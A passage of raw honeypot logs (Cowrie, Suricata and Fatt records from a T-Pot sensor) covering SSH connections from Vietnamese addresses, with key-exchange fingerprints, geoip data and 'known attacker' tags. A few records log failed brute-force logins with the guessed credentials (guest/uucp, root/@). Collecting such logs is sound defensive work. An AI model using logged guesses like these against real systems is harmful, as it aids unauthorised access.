"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58398, "dest_port": 22, "timestamp": "2021-09-20T11:07:37.297293", "@timestamp": "2021-09-20T11:07:37.297Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23383	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:37.397359+03	2021-09-20 14:15:07.43647+03	{"_id": "XwbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "10000255190e", "@version": "1", "timestamp": "2021-09-20T11:07:37.397359Z", "@timestamp": "2021-09-20T11:07:37.397Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23384	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:37.794484+03	2021-09-20 14:15:07.437471+03	{"_id": "YAbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [guest/uucp] failed", "session": "e0d94bd02c8e", "@version": "1", "password": "uucp", "username": "guest", "timestamp": "2021-09-20T11:07:37.794484Z", "@timestamp": "2021-09-20T11:07:37.794Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23385	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:37.822125+03	2021-09-20 14:15:07.43847+03	{"_id": "YwbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [root/@] failed", "session": "e63af5e95578", "@version": "1", "password": "@", "username": "root", "timestamp": "2021-09-20T11:07:37.822125Z", "@timestamp": "2021-09-20T11:07:37.822Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23386	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:33.597329+03	2021-09-20 14:15:07.440472+03	{"_id": "QwbjAnwBvYTbRNuExQwo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 67608883085932, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41490, "dest_port": 22, "timestamp": "2021-09-20T11:07:33.597329Z", "@timestamp": "2021-09-20T11:07:33.597Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23388	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:34.687533+03	2021-09-20 14:15:07.44247+03	{"_id": "iwbjAnwBvYTbRNuEygyL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 37256, "dest_port": 22, "timestamp": "2021-09-20T11:07:34.687533", "@timestamp": "2021-09-20T11:07:34.687Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23389	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:34.653725+03	2021-09-20 14:15:07.444471+03	{"_id": "lgbjAnwBvYTbRNuEygyM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37256, "timestamp": "2021-09-20T11:07:34.653725", "@timestamp": "2021-09-20T11:07:34.653Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23390	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:35.078961+03	2021-09-20 14:15:07.44547+03	{"_id": "jgbjAnwBvYTbRNuEygyL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9641221de2c8", "@version": "1", "timestamp": "2021-09-20T11:07:35.078961Z", "@timestamp": "2021-09-20T11:07:35.078Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23391	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:34.829812+03	2021-09-20 14:15:07.446471+03	{"_id": "mAbjAnwBvYTbRNuEygyM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d0424c51a7b1", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:34.829812Z", "@timestamp": "2021-09-20T11:07:34.829Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23410	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:36.416051+03	2021-09-20 14:15:07.471472+03	{"_id": "OwbjAnwBvYTbRNuE0g2D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:43628 (192.168.176.2:22) [session: e63af5e95578]", "session": "e63af5e95578", "@version": "1", "protocol": "ssh", "src_port": 43628, "dest_port": 22, "timestamp": "2021-09-20T11:07:36.416051Z", "@timestamp": "2021-09-20T11:07:36.416Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23392	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:35.115039+03	2021-09-20 14:15:07.447471+03	{"_id": "mQbjAnwBvYTbRNuEygyM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d0424c51a7b1", "@version": "1", "timestamp": "2021-09-20T11:07:35.115039Z", "@timestamp": "2021-09-20T11:07:35.115Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 